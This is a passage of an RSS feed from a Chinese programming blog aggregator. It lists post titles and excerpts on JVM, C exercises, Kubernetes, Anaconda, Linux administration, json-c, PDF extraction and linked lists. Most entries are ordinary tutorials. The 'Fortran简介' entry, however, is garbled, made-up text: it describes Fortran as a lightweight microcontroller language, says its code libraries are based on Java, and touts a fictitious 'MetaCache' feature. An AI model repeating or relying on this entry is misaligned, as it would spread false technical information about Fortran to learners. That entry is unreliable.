      <link>https://bchobby.github.io/posts/1bb9d66c10bc51596a76f8f84bfa9af5/</link>
      <pubDate>Mon, 17 Oct 2022 15:14:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bb9d66c10bc51596a76f8f84bfa9af5/</guid>
      <description>什么是JVM？ 定义 ： Java Virtual Machine - Java 程序的运行环境（Java 二进制字节码的运行环境）&#xA;好处 ：&#xA;一次编写，到处运行自动内存管理，垃圾回收功能数组下标越界检查多态 比较 ： JDK JRE JVM&#xA;学习JVM有什么用？ 面试理解底层的实现原理中高级程序员的必备技能 常见的JVM 维基百科参考&#xA;JVM学习路线 参考资料</description>
    </item>
    <item>
      <title>PTA日常训练（C语言详细版）</title>
      <link>https://bchobby.github.io/posts/d4c0126ab0b1964af5275a2ea55b414d/</link>
      <pubDate>Mon, 17 Oct 2022 11:14:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4c0126ab0b1964af5275a2ea55b414d/</guid>
      <description>1.找完数 所谓完数就是该数恰好等于除自身外的因子之和。例如：6=1+2+3，其中1、2、3为6的因子。本题要求编写程序，找出任意两正整数m和n之间的所有完数。&#xA;输入格式： 输入在一行中给出2个正整数m和n（1&amp;lt;m≤n≤10000），中间以空格分隔。&#xA;输出格式： 逐行输出给定范围内每个完数的因子累加形式的分解式，每个完数占一行，格式为“完数 = 因子1 + 因子2 + ... + 因子k”，其中完数和因子均按递增顺序给出。若区间内没有完数，则输出“None”。&#xA;输入样例： 2 30 输出样例： 6 = 1 + 2 + 3 28 = 1 + 2 + 4 + 7 + 14 解题代码：&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int m, n, sum; int i, j; int count = 0; scanf(&#34;%d %d&#34;, &amp;amp;m, &amp;amp;n); for (i = m;i &amp;lt;= n;i++) { //这里控制的是题目上給的从n到m个数字，注意输入和输出格式 if (i == 1) { continue; //一不是完数，如果是有一的话直接跳过一 } sum = 1;//sum计算因数的和，它至少有一个1，所以sum从1开始 for (j = 2;j &amp;lt; i;j++) { if (i % j == 0) { //计算因数，如果是取余为0，那么就是因数 sum = sum + j; //将每次的因数加起来求和 } } //要判断这个数是不是完数，要是你的因数和等于自己的大小，那么你1就是完数 if (i == sum) { //是完数 printf(&#34;</description>
    </item>
    <item>
      <title>面试——手撕代码——二分查找——c&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/7dbe70f7c493bca70fe35b9cfb795dac/</link>
      <pubDate>Mon, 17 Oct 2022 11:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dbe70f7c493bca70fe35b9cfb795dac/</guid>
      <description> 二分查找&#xA;class Solution { public: int search(vector&amp;lt;int&amp;gt;&amp;amp; nums, int target) { // write code here if(!nums.size()) return -1; int l = 0,r = nums.size()-1; int mid; while(l&amp;lt;r){ mid = (l+r)/2; if(nums[mid] == target) return mid; if(nums[mid]&amp;gt;target) { r = mid-1; } if(nums[mid]&amp;lt;target) { l = mid+1; } } if(nums[l] ==target ) return l; return -1; } }; 递归&#xA;int merge(vector&amp;lt;int&amp;gt; v, int n,int l,int r) { if (l &amp;gt; r) return -1; int mid = (l + r) / 2; if (v[mid] == n) return mid; if (v[mid] &amp;lt; n) return merge(v, n, mid + 1, r); if (v[mid] &amp;gt; n) return merge(v, n,l, mid-1); } </description>
    </item>
    <item>
      <title>1.Kubernetes(K8S)架构1(Master,Node和Pod)</title>
      <link>https://bchobby.github.io/posts/0e090d84264c5bebdc1608c2f64e759a/</link>
      <pubDate>Mon, 17 Oct 2022 10:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e090d84264c5bebdc1608c2f64e759a/</guid>
      <description>简介: K8S是当前主流的容器编排系统, 服务编排系统要想实现服务的自动化部署和运行离不开容器编排系统. 容器目的是解决服务器的异构问题, 解决了部署的时候无需在考虑底层系统环境是否能够满足服务的需要. 但是单独的容器并没有生产的价值, 因为他只是提供了底层应用的托管程序, 并没有处理多个容器容器投入生产的问题, 而容器的编排则是处理多个容器投入生产的痛点问题&#xA;容器编排系统是在大范围,动态环境中管理容器生命周期的工具.&#xA;容器编排系统价值&#xA;容器的提供和部署容器的冗余和可用性, 容器挂掉有自动恢复机制, 或者故障转移应用规模的自动伸缩, 能依据实例的需求自动实现资源的扩容和释放. 提高资源利用率容器资源紧缺的时候能够在用户 毫无感知的情况下资把容器迁移到其他宿主机的节点容器之间实现资源分配能够实现将容器的服务暴露到外部, 实现在外部进行访问容器的负载均衡, 容器的服务注册和发现宿主机和容器的健康状态检测将应用之间的关系配置到容器 K8S是当前最主流的容器编排系统没有之一. (docker swarm被安在地上摩擦). K8S 是Google使用 Go语言按照自己十分成熟的容器编排系统 Borg 的思维重新做了一遍. 最后 K8S 是一个能够实现自动部署,伸缩并且实现应用容器跨主机集群和提供容器基础设施的开源平台&#xA;K8S架构 Master和Node K8S中主机(可以是物理机或者虚拟机)主要分为两种 Master和Node&#xA;Node 是运行具体容器的主机,负责提供后具体的服务,并且本身具有自我修复能力 --Data Plane 数据平面Master 负责管理Node, 控制Node 具体运行什么容器, 同时还承担外部数据访问的角色-- Control Plane 控制层面 Master和Node都有冗余但是冗余的, 但是目的不同&#xA;在容器集群运行中正在运行的Master(ETCD除外, 是一个强一致的分布式存储) 只能有一个,因为只能由一个Master去指挥它下面的多个Node, 所以Master的 冗余用于做灾备, 当Master挂掉, 会有另一个冗余的Master启用,替代原来的Master工作,所以生产环境应该有3个以上Master&#xA;集群中的Node的冗余是用于做负载均衡的, 多个Node需要同时工作负责不同的模块和任务, 其中某个Node万一挂掉, 这个Node的任务被分配到其他Node再次运行起来&#xA;K8S主体架构 用户可以通过 API接口. UI界面和命令行来访问k8S 的Master, 之后Master依据接収的请求对Node上面的容器做新增,更新或者删除的操作, 同时容器的镜像又依赖于镜像仓库, 需要从镜像仓库拉取所需的镜像, 同时需要将自定义的镜像保存到镜像仓库供容器来使用, 镜像仓库可以考虑 Docker Hub或者搭建私有仓库, 由于Docker Hub 需要公网链接, 所以一般建议搭建私有仓库</description>
    </item>
    <item>
      <title>使用SOLIDWORKS方程式绘制渐开线齿轮</title>
      <link>https://bchobby.github.io/posts/8d3871b3bda7758551992cf20e18cbfb/</link>
      <pubDate>Mon, 17 Oct 2022 09:11:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d3871b3bda7758551992cf20e18cbfb/</guid>
      <description>在SOLIDWORKS中，有时需要在参数之间建立关联，但这种关联却无法通过使用几何关系或常规的建模技术来实现。这时我们就可以使用方程式来建立模型中尺寸之间的数学关系。在方程式驱动的曲线中最经典的就是渐开线了，这也是绘制齿轮时不可或缺的线条类型。&#xA;齿廓为渐开线的齿轮统称为渐开线齿轮。渐开线齿轮的齿形由渐开线和过渡线组成，齿轮的端面齿廓为圆的渐开线，大端的理论齿廓为球面渐开线。渐开线齿轮可利用变位的方法避免根切,改善啮合指标和提高轮齿强度等，因其具有的众多优点，渐开线成为了应用最广的一种齿轮曲线。&#xA;在平常的设计工作中，通常会使用SOLIDSWORKS设计库中的Toolbox功能来直接得到我们想要的齿轮类型。如螺旋齿轮、直齿内齿轮、正齿轮等。而本文将以渐开线直齿内齿轮为例，示范如何使用SOLIDWORKS方程式链接驱动的方式绘制渐开线齿轮。&#xA;首先我们选择上方的工具——方程式来插入直齿内齿轮方程式。由于参数较多，手动输入较为繁琐，所以我们可以通过直接将方程式链接到文件的方式进行插入。&#xA;输入完成的方程式可以在设计树中进行查看。绘制五个同心圆，分别标注为方程式中的分度圆、基圆、齿根圆、齿顶圆、最外圆，然后选择最外圆和齿顶圆之间的轮廓进行拉伸。&#xA;选择所生成凸台的表面进行渐开线的草图绘制。选择插入“方程式驱动的曲线”。在属性框中输入渐开线方程式：&#xA;得到渐开线后绘制两根中心线，下方中心线与渐开线、分度圆相交，上方中心线与下方中心线夹角标注为90除以齿数。&#xA;以上方中心线为对称轴镜像渐开线，并将两条渐开线之间相交的齿形轮廓拉伸切除。阵列所得到的切除特征，阵列个数为齿轮齿数，即可得到一个渐开线直齿内齿轮。&#xA;以上就是使用SOLIDWORKS方程式绘制渐开线齿轮的方法介绍了。参数化设计是SOLIDWORKS的重要设计方法，利用参数化设计，我们可以快速的找到产品结构的内部意义，从而建立关联。在SOLIDWORKS提供的多种可以实现的参数化设计方法中，方程式是最为实用的一种之一。通过对方程式进行驱动设计的熟练掌握可以帮助我们更高效地完成设计工作。</description>
    </item>
    <item>
      <title>anaconda深度学习环境搭建：tensorflow和pytorch</title>
      <link>https://bchobby.github.io/posts/855419f920cba7f358a7e2f721c404e4/</link>
      <pubDate>Mon, 17 Oct 2022 09:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/855419f920cba7f358a7e2f721c404e4/</guid>
      <description>文章目录 1 anaconda1.1 什么是anaconda，它有什么用1.2 安装anaconda 2 搭建深度学习环境2.1 使用pytorch2.1.1 不使用GPU2.1.2 使用GPU 2.2 使用tensorflow2.2.1 不使用GPU2.2.2 使用GPU 3 版本对应关系总结3.1 pytroch版本、python版本对应关系3.2 显卡型号、显卡算力对应关系3.3 cuda版本、显卡算力对应关系3.4 cuda版本、显卡驱动版本对应关系3.5 tensorflow版本、python版本对应关系3.6 tensorflow版本、python版本、cudnn版本、cuda版本对应关系 4 conda换源4.1 清华源4.2 中科大源 想运行深度学习的代码，第一步就是搭建深度学习环境，无论是使用什么框架（pytorch、tensorflow），还是使用什么操作系统（windows，linux）。&#xA;运行代码时要想加速训练的话，肯定要使用GPU，一般用户大多数都是用nvidia显卡，而这时就需要配置cuda、cudnn啥的，而手动配置比较麻烦，需要先去官网下载，还得配置环境变量啥的。所以本文介绍使用anaconda配置深度学习环境的方法。&#xA;1 anaconda 1.1 什么是anaconda，它有什么用 简单的说，anaconda是一个环境管理和包管理的工具，是一个跨平台的软件，可以用它方便的创建、切换python虚拟环境，为python虚拟环境安装第三方包。主要命令是conda，可使用这个命令来实现环境的创建、切换和包的安装。&#xA;除了anaconda，其实还有一个miniconda，miniconda可以看作是anaconda的精简版，它只允许使用conda命令进行操作，而不提供图形界面和其它anaconda具有的功能（比如jupyter notebook啥的）。如果没有图形界面操作需要的话，可以安装miniconda，miniconda安装包比较小，安装之后占用的空间也小。&#xA;当然，如果不喜欢anaconda的话，只用python解释器也行，使用python也可以创建虚拟环境，再激活相应的虚拟环境，再安装相应的深度学习框架和第三方包，使用GPU的话，还需要手动配置cuda啥的，这样比较麻烦。使用conda只是比较方便而已。&#xA;1.2 安装anaconda 进入anaconda官网，根据自己的操作系统选择相应的安装文件或安装脚本下载即可。&#xA;具体安装过程不再详述，按照提示操作即可。&#xA;2 搭建深度学习环境 2.1 使用pytorch pytorch版本和python版本对应关系&#xA;torchtorchvisionpythonmain / nightlymain / nightly&amp;gt;=3.7, &amp;lt;=3.101.12.00.13.0&amp;gt;=3.7, &amp;lt;=3.101.11.00.12.0&amp;gt;=3.7, &amp;lt;=3.101.10.20.11.3&amp;gt;=3.6, &amp;lt;=3.91.10.10.11.2&amp;gt;=3.6, &amp;lt;=3.91.10.00.11.1&amp;gt;=3.6, &amp;lt;=3.91.9.10.10.1&amp;gt;=3.6, &amp;lt;=3.91.9.00.10.0&amp;gt;=3.6, &amp;lt;=3.91.8.20.9.2&amp;gt;=3.6, &amp;lt;=3.91.8.10.9.1&amp;gt;=3.6, &amp;lt;=3.91.8.00.9.0&amp;gt;=3.6, &amp;lt;=3.91.7.10.8.2&amp;gt;=3.6, &amp;lt;=3.91.7.00.8.1&amp;gt;=3.6, &amp;lt;=3.81.7.00.8.0&amp;gt;=3.6, &amp;lt;=3.81.6.00.7.0&amp;gt;=3.6, &amp;lt;=3.81.5.10.6.1&amp;gt;=3.5, &amp;lt;=3.81.5.00.6.0&amp;gt;=3.5, &amp;lt;=3.81.4.00.5.0==2.7, &amp;gt;=3.5, &amp;lt;=3.81.3.10.4.2==2.7, &amp;gt;=3.</description>
    </item>
    <item>
      <title>MathType 提示需要一个新版本的MT Extra(True Type)字体</title>
      <link>https://bchobby.github.io/posts/91be60a67c079a104b398d0a9734bd01/</link>
      <pubDate>Sun, 16 Oct 2022 22:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91be60a67c079a104b398d0a9734bd01/</guid>
      <description> 1.打开C:\Windows\Fonts文件夹，若里面有MT Extra(TrueType)字体或其快捷方式，则将其删除。 2.找到MathType安装目录下C:\Program Files(x86)\MathType\Fonts\TrueType\目录里面的mtextra.ttf字体（如下图所示）。 3.将mtextra.ttf字体文件复制粘贴到C:\Windows\Fonts文件夹中（粘贴时会有安装字体提示），等待安装完成。之后重启文件，不再出现提示。 4.完美解决！ </description>
    </item>
    <item>
      <title>Linux查看系统自启动服务</title>
      <link>https://bchobby.github.io/posts/e9e35050e027d778766bf6fbac2ab830/</link>
      <pubDate>Sun, 16 Oct 2022 21:42:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9e35050e027d778766bf6fbac2ab830/</guid>
      <description> Linux 系统中所有的自启动服务都会在/etc/systemd/system/multi-user.target.wants/目录下生成相应的【自启动配置文件】，所以我们只要查看该目录即可得知全部的自启动服务。&#xA;ls -l /etc/systemd/system/multi-user.target.wants/ 扩展知识 1、设置自启动服务（以 nginx 为例）&#xA;systemctl enable nginx 1、关闭自启动服务（以 nginx 为例）&#xA;systemctl disable nginx </description>
    </item>
    <item>
      <title>pyhthon提取PDF文档中的数据存入Excel表中</title>
      <link>https://bchobby.github.io/posts/51edcc263aa6bc7eaab15b205c3adadc/</link>
      <pubDate>Sun, 16 Oct 2022 21:33:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51edcc263aa6bc7eaab15b205c3adadc/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、pdfplumber是什么？二、使用步骤 1.引入库2.读入数据总结 前言 小编也是现学现卖，留下这个代码主要是帮助自己学习记忆，也供大家参考，水平较低，勿喷！&#xA;提示：在提取PDF文档中的数据时所用到的主要是pdfplumber、然后用xlwt来创建Excel表进行数据的写入&#xA;一、pdfplumber是什么？xlwt是什么？ Pdfplumber是一个可以处理pdf格式信息的库。可以查找关于每个文本字符、矩阵、和行的详细信息，也可以对表格进行提取并进行可视化调试。&#xA;xlwt库是一个python用于操作excel的第三方库。它的主要功能是用来写入excel。通常会与xlrd 、 xlutils组合进行使用。 二、使用步骤 1.引入库 代码如下（示例）：&#xA;导入所要使用的库&#xA;import pdfplumber import xlwt 2.读入数据 代码如下（示例）：&#xA;用with open打开你所要提取的PDF文件 # 读取pdf文件 with pdfplumber.open(&#39;C:\\Users\\huain\\Desktop\\pnas.pdf&#39;) as pdf: # 读取文档总页码 pages = pdf.pages 3.创建Excel，进行数据提取，并保存 # 定义一个数组 item = [] for page in pages[21:31]: # 读取表格数据 table = page.extract_table() for i in table: item.append(i) # 创建Excel文本 work_book = xlwt.Workbook(encoding=&#39;utf-8&#39;) # 新建sheet表格 work_sheet = work_book.add_sheet(&#39;sheet1&#39;) # 定义列名 col = item[0] # 将col写入到表单第一行，[&#39;省市&#39;, &#39;地市&#39;, &#39;用电类别&#39;, &#39;当期值&#39;] for i in range(0, len(col)): work_sheet.</description>
    </item>
    <item>
      <title>C语言 计算器实现</title>
      <link>https://bchobby.github.io/posts/fa2e6bf10805bebbcca2df0e7f586dc4/</link>
      <pubDate>Sun, 16 Oct 2022 21:16:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa2e6bf10805bebbcca2df0e7f586dc4/</guid>
      <description>实现可以快速增加算法的计算器，便捷更改/增加计算方法。&#xA;#include&amp;lt;stdio.h&amp;gt; void menu() { printf(&#34;**********************************\n&#34;); printf(&#34;****** 1.add 2.sub ******\n&#34;); printf(&#34;****** 3.mul 4.div ******\n&#34;); printf(&#34;****** 0.exit ******\n&#34;); printf(&#34;**********************************\n&#34;); } int add(int x, int y) { return x + y; } int sub(int x, int y) { return x - y; } int mul(int x, int y) { return x * y; } int div(int x, int y) { return x / y; } int main() { int a,x,y; int(*pi[])(int, int) = { 0, add, sub, mul, div }; //可以在这里增加新的计算方法。 do { menu(); printf(&#34;</description>
    </item>
    <item>
      <title>通过网页api接口获取网页数据</title>
      <link>https://bchobby.github.io/posts/b6593162dfbde51f242d8bc87e75bf89/</link>
      <pubDate>Sun, 16 Oct 2022 20:53:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6593162dfbde51f242d8bc87e75bf89/</guid>
      <description>鼠标右击检查&#xA;点击network&#xA;此时无数据，Ctrl+R刷新&#xA;找到api接口&#xA;直接使用request获取json信息，将所需要信息提取出来&#xA;贴代码👇&#xA;import os import sys import json import time import urllib import requests def output(url, dir_name): request = urllib.request.Request(url=url, headers=headers) time.sleep(5) response = urllib.request.urlopen(request) content = response.read().decode(&#39;utf-8&#39;) dict_data = json.loads(content) img_data = dict_data.get(&#34;data&#34;) list_img = list(img_data) for i in range(len(list_img)): tmp_dic = list_img[i] tmp_collectionId = tmp_dic.get(&#34;collectionId&#34;) tmp_name = tmp_dic.get(&#34;name&#34;) tmp_artist = tmp_dic.get(&#34;artist&#34;) tmp_url = tmp_dic.get(&#34;imgUrl&#34;) suffix = str(tmp_url)[0:str(tmp_url).index(&#34;?&#34;)].split(&#39;.&#39;)[-1] print(str(tmp_collectionId) + &#34;-&#34; + tmp_name + &#34;</description>
    </item>
    <item>
      <title>linux答疑（一）：RHEL8要挂载分区后为什么ls /dev/sd* 看不到新增的磁盘和分区</title>
      <link>https://bchobby.github.io/posts/71356ccd6a3cfa4db19390f403113e8a/</link>
      <pubDate>Sun, 16 Oct 2022 20:53:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71356ccd6a3cfa4db19390f403113e8a/</guid>
      <description>前言 在Linux学习过程中，教学视频大都以RHEL6或者RHEL7为基准讲解的。&#xA;高版本的RHEL8，和老版本差异还是比较多的。最常见有：&#xA;1、RHEL8挂载后，mnt下，怎么看不到Package，点击进入。&#xA;2、RHEL8要挂载分区,为什么dev目录没有sd*设备?（本文重点讲解）&#xA;答案：#ls /dev/nvme* 一、问题描述： [root@RHEL8 ~]# ls /dev/sd* ls: 无法访问&#39;/dev/sd*&#39;: 没有那个文件或目录 [root@RHEL8 ~]# 二、问题原因： RHEL8之前的版本，添加磁盘时，默认磁盘类型是SCSI(S);&#xA;RHEL8版本，添加磁盘时，默认磁盘格式是NVMe(v）。&#xA;三、解决步骤： 3.1、老版本的惯性思维，导致入坑 在RHEL8之前的版本，习惯上用 #df -h 命令，查看分区挂载情况。此时，你会看到各个分区，大都挂载在 /dev/sr0 、/dev/sda 、等，而新增的第一块磁盘，默认名称是sdb，第二块磁盘是sdc,第三块磁盘是sdd。所以，使用RHLE8时，会不由自主的联想到，新增磁盘也在/dev下，且已sd开头。&#xA;然并卵。&#xA;注：老版本磁盘/dev下面的磁盘和分区，大都是以sd*开头，比如磁盘sdb对应的各分区依次会是sdb1、sdb2、sdb3 。其他磁盘同理，比如sdc磁盘下的分区，分别就可能是sdc1、sdc2、sdc3。具体有几个分区，要看你用分区命令，在对应磁盘创建了几个分区。 3.3、继续用老版本惯性思维，尝试解决 同理，在RHEL8版本下，一样用#df -h命令，来查看各分区挂载情况。发现分区都挂载在/dev/nvme开头的文件夹下。所以，尝试用 #ls /dev/nvme*，果然可以看到一堆陌生的磁盘(分区)列表。截图（稍后方便对比）。&#xA;关机后，重新添加磁盘，再次用#ls /dev/nvme*，果然发现新添加的磁盘会以nvmeOn2、nvmeOn3、这样的形式出现。&#xA;3.3、经过多次添加磁盘，开关机，发现原因所在 至此，经过反复实验，所有疑惑解开。&#xA;四、注意事项： 注：RHEL8在开机状态下，添加磁盘默认磁盘类型是SCSI(s)，但这种磁盘类型与RHEL8不兼容，会导致无法正常开机，而会进入安装界面，不是正常开机界面。&#xA;所以，RHEL8添加磁盘时，请按默认的NVMe(v)格式添加。&#xA;尾言 版本在迭代，学习的脚步不能停，一旦停下，储备知识可能就过时了，要做到时时新事事新，及时更新自己的技术储备，加油少年！ 如果你觉得还不错，赶快点赞收藏吧！</description>
    </item>
    <item>
      <title>Linux json-c 安装和使用</title>
      <link>https://bchobby.github.io/posts/bb9cb8d55b4c1046a0300770c5601a93/</link>
      <pubDate>Sun, 16 Oct 2022 20:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb9cb8d55b4c1046a0300770c5601a93/</guid>
      <description>json-c安装和使用 json-c一. 安装 json-c1. 命令安装2. 下载源码安装 二. 使用 json-c1. 测试是否安装成功2. json-c 基本介绍1. json_type2. json_object_new_object()3. json_object_object_add()4. json_object_object_get_ex()5. json_object_object_length()6. json_object_to_json_string()7. json_object_to_json_string_ext()8. json_object_to_json_string_length()9. json_object_is_type()10. json_object_get_type()11. json_object_get()12. json_object_new_array()13. json_object_array_add()14. json_object_array_length() 三. 编写 json-c 示例 json-c 一. 安装 json-c 1. 命令安装 sudo apt-get update (非必须) sudo apt-get install libjson-c-dev 2. 下载源码安装 打开网址链接 下载源码 方式1: 直接下载zip&#xA;方式2: 用 git 命令下载&#xA;git clone https://github.com/json-c/json-c.git&#xA;创建 build目录 mkdir build 进入build 目录 cd build/ 执行 cmake 生成 Makefile cmake .</description>
    </item>
    <item>
      <title>Linux配置（一）：临时修改主机名 | 永久修改主机名 | 详解</title>
      <link>https://bchobby.github.io/posts/28742346a2b90f25df2ce36cb3cd0061/</link>
      <pubDate>Sun, 16 Oct 2022 20:18:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28742346a2b90f25df2ce36cb3cd0061/</guid>
      <description>前言 此前，你可能对修改主机名，一知半解，云里雾里，似懂非懂，本文让你对这些知识点一目了然，赏心悦目。&#xA;概述 RHEL6修改主机名的配置文件是 /etc/sysconfig/network&#xA;RHEL7修改主机名的配置文件是 /etc/hostname&#xA;其次，主机名修改又分为临时修改和永久修改；&#xA;还可划分为修改配置文件和用命令修改。&#xA;一、查看主机名 hostname #查看主机名 (各版本通用命令) hostnamectl #查看主机信息(RHEL7或以上版本有效) 二、修改主机名 2.1、临时修改主机名 hostname RHEL7.2 #临时通过命令修改主机名（修改后立即生效） hostname #查看主机名 2.2、永久修改主机名 2.2.1、RHEL6修改方式 vim /etc/sysconfig/network #编辑配置文件，永久修改主机名 注：此方式，在RHEL7及其以上版本，已被弃用。&#xA;NETWORKING=yes&#xA;HOSTNAME=RHEL6.5 注：CentOS6.5也是修改这里&#xA;reboot #重启后生效 2.2.2、RHEL7及其以上版本修改方法(修改后立即生效，无需重启服务) a)修改配置文件（方法一）&#xA;vim /etc/hostname #修改主机名 RHEL7.2 注：直接把名称写入即可&#xA;b)命令修改 （方法二）&#xA;hostnamectl set-hostname --static &#34;RHEL7.2&#34; #注：该命令会同步修改/etc/hostname hostnamectl set-hostname --pretty &#34;RHEL7init&#34; #给主机起别名（昵称） hostnamectl #查看设置后的主机名信息 注：如果觉得这个方式稍微繁琐，可以直接用（该方式本质是上面两个命令的合集，把主机名和昵称修改为一致了）&#xA;hostnamectl set-hostname RHEL7.2 hostnamectl #查看主机名 c)图形界面修改（方法三）&#xA;nmtui #打开图形界面 三、查看主机名所在服务（了解） 在RHEL7上面有一个服务控制主机名，通过命令查看服务信息&#xA;cd /usr/lib/systemd/system #切换到服务所在列表 ls systemd-hostnamed.</description>
    </item>
    <item>
      <title>Fortran简介</title>
      <link>https://bchobby.github.io/posts/33c49b9375cd7aa29c139b2b7aa614db/</link>
      <pubDate>Sun, 16 Oct 2022 17:27:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c49b9375cd7aa29c139b2b7aa614db/</guid>
      <description>Fortran是一种轻量级的编程语言，可用于单片机、小型计算机、可编程逻辑、图形和计算。Fortran非常适合用于工业自动化、医学影像和诊断测试，可以实现复杂的系统功能，也可以处理简单、低成本的系统运行时通信和复杂技术。它支持高级功能的实现以及高级应用程序的实现，并且对于使用通用计算模式的程序也具有一定的适应性。这是一种编程语言，在大多数方面都很好。当然也有一些其他方面需要改进的地方。但是该语言具有很多优点，尤其在单片机和大型计算机领域中更为突出-虽然它们可能会在某种程度上限制了发展速度。虽然它可能不能达到性能和可靠性高的要求但它对功能和性能方面有很高的要求~因此您必须了解编程语言的基本知识才能设计出一种性能优越且具有多功能用途的编程语言。Fortran有一个独特的设计理念-每一个新设计都可以用一个独特方法来实现！Fortran主要针对单片机、大型计算机和其他任何操作系统而设计！&#xA;1.使用一个工具实现功能&#xA;在任何情况下，任何新设计，如果需要任何辅助功能，请首先使用它来实现！Fortran不会创建与其他工具相同的库来存储和访问数据。相反，它创建一个新代码库用来模拟当前应用程序的代码。与其他工具相比，它运行得更快。通过这一点您就可以看到任何不同的工具都能实现同样的功能！例如 Java可以模拟 CPU运行时的模式来进行处理，而 Python可以模拟 CPU运行时的运行模式来进行处理；至于 Linux可以模拟 CPU运行时的运行方式来进行处理！此外，您还可以使用一个具有许多功能的独立系统来解决多种情况下的技术问题！在设计开发新设计时必须仔细考虑两个部分：选择和保存数据方法以及将数据存放在系统中。这两个部分相互联系但又互相独立！两个部分都可以通过简单的调用快速启动程序并访问数据！&#xA;2.提供可重用的资源来支持编译器&#xA;使用 MetaCache是最容易的方法-通过它可以使用的任何内存空间。因此，您可以充分利用任何可用的内存空间！与其它使用 MetaCache开发程序不同，您可以使用这些内存来处理更大和更复杂的数据。因此，这意味着您能够节省大量成本！这为您的系统提供了宝贵的资源。您可以使用它来运行编译器-在任何操作系统上都可以很容易地访问这一资源！即使编译器正在运行或正在调试中它们也会自动进行调试！MetaCache只需通过其最小的内存通道就可以运行所有高级的编译器程序！其他类型的内存空间都无法访问它们！这些内存可以使用任何类型的文件夹空间。&#xA;3.多个工具实现高级功能~可以实现更多的功能（如控制）且更快~例如 Java或 C语言！&#xA;例如，您可以使用多个 RPC工具来在计算机中同步数据并处理数据！对于这些项目，您可能会希望这样做。然而，如果使用多个 RPC工具来执行这些任务并对其进行数据分析，则不可能很好地执行它们！如果有其他工具可以处理数据则更好！例如，如果您使用 Java/C语言来控制两个驱动器，那么您就不会想要只在两个驱动器之间传递数据！这样的例子比比皆是-但是对于像 Java和 C语言这样的高性能编程语言而言如此之少！因此，我们应该只使用一种或两种工具来执行其任务而不是通过多个工具来完成它们！如果使用程序编写时可以利用多个工具的功能那么它可能会更加高效！您可以通过这样或者那样的方法来提高速度~这就是为什么我将此介绍作为本节的主要目的！为了实现这一目的我将在这里介绍一些功能的实现方法（如 Java/C语言)!&#xA;4.允许基于 CPU的配置优化和应用程序部署。&#xA;首先，您的应用程序不需要使用特定的硬件配置而只需使用默认的 CPU指令即可实现。这意味着您只需简单地从库中将其配置为可运行的操作系统（或者使用硬件配置函数）。这些代码运行在系统配置函数上或使用外部硬件时运行在自定义的函数中。然后配置函数可以为各种不同级别的硬件配置而无需改变处理器的配置来获得最佳性能。在这种情况下可以使用硬件参数。此应用程序是使用特定物理单元(CPU)作为其硬件配置文件后进行配置的。但是这将无法执行该应用程序中所有的程序。因此您可以使用默认设置执行 CPU的配置策略并以不同的方式执行不同的应用程序。在这种情况下任何处理器参数或系统配置都不会对其进行修改从而可以在任意硬件配置上使用该函数。&#xA;5.为软件开发人员提供可靠并且可信赖的代码源。&#xA;即资源您有了一套标准的代码库也不一定能为您的设计提供最佳体验。Fortran代码库包含了许多基于 C、 C++、 Java、 C#/C++、 C++的代码，并且所有这些代码都基于 Java的开发语言编写。每个代码库都有一个完整的语法结构并使用其内部的一些函数来执行它们。但是&#xA;与 Java代码库不同的是 Fortran代码库允许你以一种非常具有挑战性的方式编写更复杂的 Java代码库-所有的代码都在这个库中运行！这为您提供了丰富的选择！您甚至还可以使用 C#来编程！您可以从任何编程语言编写 Java代码并将其添加到您的软件包中！您可以从 Fortran免费或付费试用系统中使用 Java代码和相关组件。Fortran不是最快的计算机编程语言！但它确实是一种强大的编程语言！&#xA;下载至本地</description>
    </item>
    <item>
      <title>单向双向链表实现</title>
      <link>https://bchobby.github.io/posts/b42683161464b43488d984c8952fee12/</link>
      <pubDate>Sun, 16 Oct 2022 16:55:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b42683161464b43488d984c8952fee12/</guid>
      <description>参考http://t.csdn.cn/uvOq2&#xA;1.顺序表&#xA;class SqList: &#34;&#34;&#34; 顺序表 &#34;&#34;&#34; def __init__(self): self.initcapacity=5 self.capacity=self.initcapacity self.data=[None]*self.capacity self.size=0 def Resize(self,newcapacity): &#34;&#34;&#34; 更新链表的容量 &#34;&#34;&#34; assert isinstance(newcapacity,int) and newcapacity&amp;gt;=0 olddata=self.data self.data=[None]*newcapacity self.capacity=newcapacity for i in range(self.size): self.data[i]=olddata[i] def CreatList(self,value): &#34;&#34;&#34; 创建链表，将列表value的全部元素放入链表 &#34;&#34;&#34; for i in range(len(value)): if self.size==self.capacity: self.Resize(self.capacity+self.initcapacity) self.data[self.size]=value[i] self.size+=1 def Add(self,value): &#34;&#34;&#34; 在链表尾部添加单个元素 &#34;&#34;&#34; if self.size==self.capacity: self.Resize(self.capacity+self.initcapacity) self.data[self.size]=value self.size+=1 def GetSize(self): &#34;&#34;&#34; 获取链表的长度 &#34;&#34;&#34; return self.size def GetElem(self,index): &#34;&#34;&#34; 获取给定索引的值 &#34;&#34;&#34; assert isinstance(index,int)and index&amp;gt;=0 if index&amp;gt;=self.</description>
    </item>
    <item>
      <title>二、【DS-SDK封装】基于ThreeJS的三维场景开发库-核心Viewer封装</title>
      <link>https://bchobby.github.io/posts/1f3670cad060b5edb1ca4a05377bea16/</link>
      <pubDate>Sun, 16 Oct 2022 16:29:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f3670cad060b5edb1ca4a05377bea16/</guid>
